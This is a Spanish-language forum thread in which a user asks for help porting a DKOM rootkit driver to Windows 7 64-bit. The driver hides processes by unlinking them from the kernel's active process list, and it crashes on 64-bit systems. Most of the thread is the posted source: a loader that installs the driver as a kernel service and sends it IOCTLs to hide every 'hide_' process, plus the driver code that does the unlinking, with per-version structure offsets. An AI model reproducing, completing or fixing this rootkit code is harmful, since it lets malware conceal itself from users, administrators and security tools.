Autor
|
Tema: DKOM windows 7 64bits (Leído 4,772 veces)
|
JORGEPO
Desconectado
Mensajes: 3
|
Buenas:
Primero gracias a Hendrix, Crack y cia por ese Hilo sobre Drivers y todos los temas sobre ello. (doy las gracias al creador y a los que participaron)
Lo segundo es plantear mi problema.
No consigo hacer funcionar el DKOMDRIVER en sistemas operativos de 64 bits. Primero de todo, se que se necesitan drivers firmados por microsoft. Ese no es el problema, el tema es que al ejecutar el driver (se carga correctamente) da una bonita BSOD.
Si por ejemplo ejecuto el driver sin tener ningun proceso que ocultar no pasa nada. Pero al ejecutarlo con algun proceso que ocultar peta.
¿alguna ayuda sobre donde poder tirar?
Muchas gracias de antemano.
PD: Me costo hacer funcionar el codigo del DKOMDRIVER, dado mi ya olvidado nivel de C. Pero consegui que funcionara en win7 32 bits y win Vista tb 32 bits.
|
|
|
En línea
|
|
|
|
Arkangel_0x7C5
Desconectado
Mensajes: 361
|
Pues seguramente falle porque la estructura cambia en windows de 64bits. Sin codigo solo se pueden hacer suposiciones
Saludos
|
|
|
En línea
|
|
|
|
JORGEPO
Desconectado
Mensajes: 3
|
http://neosysforensics.blogspot.com/2008/11/ocultacin-de-procesos-en-windows-dkom.htmlAqui esta el codigo, solo que he metido que me detecte si es 32 o 64 bits. Y ademas he puesto que detecte el VISTA y el Win7 if(GetVersionEx((OSVERSIONINFO *) &osvi)) { switch(osvi.dwPlatformId) { // Comprobamos la version de Windows NT case VER_PLATFORM_WIN32_NT: if(osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0) { flinkValue = 0x98; return IS_WINDOWS_NT; } else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) { flinkValue = 0xA0; return IS_WINDOWS_2000; } else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1) { flinkValue = 0x88; return IS_WINDOWS_XP; } else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2) { flinkValue = 0x88; return IS_WINDOWS_2003; } else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) { if ( si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64 ) { //StringCchCat(pszOS, BUFSIZE, TEXT( ", 64-bit" )); flinkValue = 0x188; return IS_WINDOWS_7; } else if (si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_INTEL ) { //StringCchCat(pszOS, BUFSIZE, TEXT(", 32-bit")); flinkValue = 0x0b8; return IS_WINDOWS_7; } } else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) { flinkValue = 0x0a0; return IS_WINDOWS_VISTA; } else { return NOT_SUPPORTED; } break; } }
|
|
|
En línea
|
|
|
|
Arkangel_0x7C5
Desconectado
Mensajes: 361
|
Pero la parte que me has enseñado solo comprueba la versión de windows
|
|
|
En línea
|
|
|
|
JORGEPO
Desconectado
Mensajes: 3
|
Si perdon, habia puesto el link de donde saque el codigo. Repito que si no encuentra ningun proceso a ocultar no da error, pero cuando ha de ocultar uno casca. Desde aqui llama al DKOM. GetSystemDirectory(driverPath, MAX_PATH); strcat(driverPath, "\\drivers\\dkomdriver.sys"); CopyFile("dkomdriver.sys", driverPath, FALSE); removeDkomService(VERBOSE_OFF); scManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(!scManager) { printf("[ERROR] No se ha contactado con Service Control Manager\n"); return FALSE; } printf("[OK] Abierta una conexion con Service Control Manager\n"); scService = CreateService(scManager, "dkomdriver", "dkomdriver", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, driverPath, NULL, NULL, NULL, NULL, NULL); if(!scService) { if(GetLastError() == ERROR_SERVICE_EXISTS) { //AQUI SE CUELGA SUPUESTAMENTE. AUNQUE NO HE PODIDO COMPROBARLO FIJO scService = OpenService(scManager, "dkomdriver", SERVICE_ALL_ACCESS); if(!scService) { printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n"); CloseServiceHandle(scManager); return FALSE; } } else { printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n"); CloseServiceHandle(scManager); return FALSE; } } printf("[OK] Se ha creado correctamente el servicio 'dkomdriver'\n"); if(!StartService(scService,0,NULL)) { if(GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) { printf("[ERROR] No se ha iniciado el servicio 'dkomdriver'\n"); CloseServiceHandle(scManager); CloseServiceHandle(scService); return FALSE; } } printf("[OK] Se ha iniciado correctamente el servicio 'dkomdriver'\n"); // Provoca la llamada a la MajorFunction dkomCreate hDevice = CreateFile("\\\\.\\dkomdriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("[ERROR] No ha podido obtenerse un manejador de control\n"); return FALSE; } printf("[OK] Se ha obtenido correctamente el manejador de control\n"); first = getProcessList("hide_"); current = first; if(numProcess2Hide == 0) printf("[OK] No existen procesos que ocultar (con el prefijo hide_)\n"); while(current != NULL) { p2h.iPid = current->iPid; p2h.iFlinkOffset = flinkValue; if(!DeviceIoControl(hDevice, (DWORD) IOCTL_DRV_HIDE, (VOID *) &p2h, sizeof(proc2Hide), NULL, 0, &dwBytesRet, NULL)) { printf("[ERROR] No ha podido enviarse codigo de control al driver\n"); CloseHandle(hDevice); return FALSE; } printf("[OK] Indicando a dkomdriver que oculte proceso con PID %d\n",p2h.iPid); current = current->next; //Eliminamos elemento de la lista free(first); first = current; ZeroMemory(&p2h,sizeof(proc2Hide)); } // Provoca la llamada a la MajorFunction dkomClose CloseHandle(hDevice);
} else if (strcmp((char *)argv[1], "off") == 0) { removeDkomService(VERBOSE_ON); GetSystemDirectory(driverPath, MAX_PATH); strcat(driverPath, "\\drivers\\dkomdriver.sys"); if(!DeleteFile(driverPath)) printf("[ERROR] No se ha podido eliminar el driver dkomdriver.sys\n"); else printf("[OK] Se ha eliminado correctamente el driver dkomdriver.sys\n");
} else { printUsage(argv[0]); return FALSE; } return TRUE; Esto es el codigo del DRIVER //#include <ntddk.h> #include "ntifs.h" #include "interface.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject,IN PUNICODE_STRING registryPath); NTSTATUS dkomCreate(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp); NTSTATUS dkomWrite(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp); NTSTATUS dkomRead(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp); NTSTATUS dkomClose(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp); NTSTATUS dkomControl(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp); NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath) { NTSTATUS ntstatus = STATUS_SUCCESS; UNICODE_STRING deviceNameUnicode, dosDeviceNameUnicode; PDEVICE_OBJECT dkomDevice; int i; DbgPrint("Llamada a driverEntry\n"); RtlInitUnicodeString(&deviceNameUnicode,dkomDeviceName); ntstatus = IoCreateDevice(driverObject, 0, &deviceNameUnicode, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &dkomDevice); if(!NT_SUCCESS(ntstatus)){ DbgPrint("Fallo al crear el dispositivo\n"); return ntstatus; } DbgPrint("Dispositivo creado correctamente\n"); RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink); ntstatus = IoCreateSymbolicLink(&dosDeviceNameUnicode, &deviceNameUnicode); if(!NT_SUCCESS(ntstatus)) { IoDeleteDevice(dkomDevice); DbgPrint("Fallo al crear el enlace simbolico\n"); return ntstatus; } DbgPrint("Enlace simbolico creado correctamente\n"); driverObject->MajorFunction[IRP_MJ_CREATE] = dkomCreate; driverObject->MajorFunction[IRP_MJ_CLOSE] = dkomClose; driverObject->MajorFunction[IRP_MJ_READ] = dkomRead; driverObject->MajorFunction[IRP_MJ_WRITE] = dkomWrite; driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dkomControl; driverObject->DriverUnload = dkomUnload; return ntstatus; }
NTSTATUS dkomCreate(PDEVICE_OBJECT deviceObject, PIRP Irp) { NTSTATUS ntstatus = STATUS_SUCCESS; DbgPrint("Llamada a dkomCreate\n"); return ntstatus; }
NTSTATUS dkomWrite(PDEVICE_OBJECT deviceObject, PIRP Irp) { NTSTATUS ntstatus = STATUS_SUCCESS; DbgPrint("Llamada a dkomWrite\n"); return ntstatus; }
NTSTATUS dkomRead(PDEVICE_OBJECT deviceObject, PIRP Irp) { NTSTATUS ntstatus = STATUS_SUCCESS; DbgPrint("Llamada a dkomRead\n"); return ntstatus; }
NTSTATUS dkomClose(PDEVICE_OBJECT deviceObject, PIRP Irp) { NTSTATUS ntstatus = STATUS_SUCCESS; DbgPrint("Llamada a dkomClose\n"); return ntstatus; }
NTSTATUS dkomControl(PDEVICE_OBJECT deviceObject, PIRP Irp) { NTSTATUS ntstatus = STATUS_NOT_IMPLEMENTED; PIO_STACK_LOCATION pStack; PLIST_ENTRY pProcessList; PEPROCESS pEProcess; proc2Hide *p2h; ULONG uEProcessAddr; DbgPrint("Llamada a dkomControl\n"); pStack = IoGetCurrentIrpStackLocation(Irp); Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; switch(pStack->Parameters.DeviceIoControl.IoControlCode) { case IOCTL_DRV_HIDE: DbgPrint("Recibido codigo de control IOCTL_DRV_HIDE\n"); p2h = (proc2Hide *) Irp->AssociatedIrp.SystemBuffer; if(PsLookupProcessByProcessId((PVOID)p2h->iPid,&pEProcess) == STATUS_SUCCESS) { DbgPrint("Ocultando proceso con PID %d en la direccion %08lX\n",p2h->iPid,pEProcess); uEProcessAddr = (ULONG) pEProcess; pProcessList = (LIST_ENTRY *)(uEProcessAddr + p2h->iFlinkOffset); *((ULONG *) pProcessList->Blink) = (ULONG) pProcessList->Flink; *((ULONG *) pProcessList->Flink + 1) = (ULONG) pProcessList->Blink; pProcessList->Flink = (LIST_ENTRY *) &(pProcessList->Flink); pProcessList->Blink = (LIST_ENTRY *) &(pProcessList->Flink); } else DbgPrint("No se ha obtenido la direccion del EPROCESS para el PID\n",p2h->iPid); break; default: DbgPrint("Recibido codigo de control no definido\n"); break; } ntstatus = Irp->IoStatus.Status; IoCompleteRequest(Irp,IO_NO_INCREMENT); return ntstatus; }
NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject) { NTSTATUS ntstatus = STATUS_SUCCESS; PDEVICE_OBJECT dkomDevice = driverObject->DeviceObject; UNICODE_STRING dosDeviceNameUnicode; DbgPrint("Llamada a dkomUnload\n"); RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink); IoDeleteSymbolicLink(&dosDeviceNameUnicode); DbgPrint("Se ha eliminado el enlace simbolico\n"); IoDeleteDevice(driverObject->DeviceObject); DbgPrint("Se ha eliminado el device\n"); return ntstatus; }
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Mi procesador soporta windows 7 64bits?
Hardware
|
Pheztox
|
9
|
9,300
|
17 Julio 2010, 19:06 pm
por rasdro
|
|
|
Windows 7 - 64bits Procesador Corei5
« 1 2 »
Windows
|
Lupin
|
11
|
10,985
|
3 Septiembre 2010, 21:55 pm
por Randomize
|
|
|
windows xp 32 y 7 64bits
Windows
|
maxmag
|
4
|
5,303
|
11 Septiembre 2010, 11:16 am
por Songoku
|
|
|
Problemas con Tor en Windows 7 64bits
Windows
|
Attaque77
|
1
|
3,669
|
1 Enero 2012, 22:15 pm
por Randomize
|
|
|
Necesito una Version de SQL compatible con Windows 8 Single Language 64bits Help
Bases de Datos
|
eLPortaFrases
|
1
|
4,866
|
24 Abril 2013, 22:52 pm
por Carloswaldo
|
|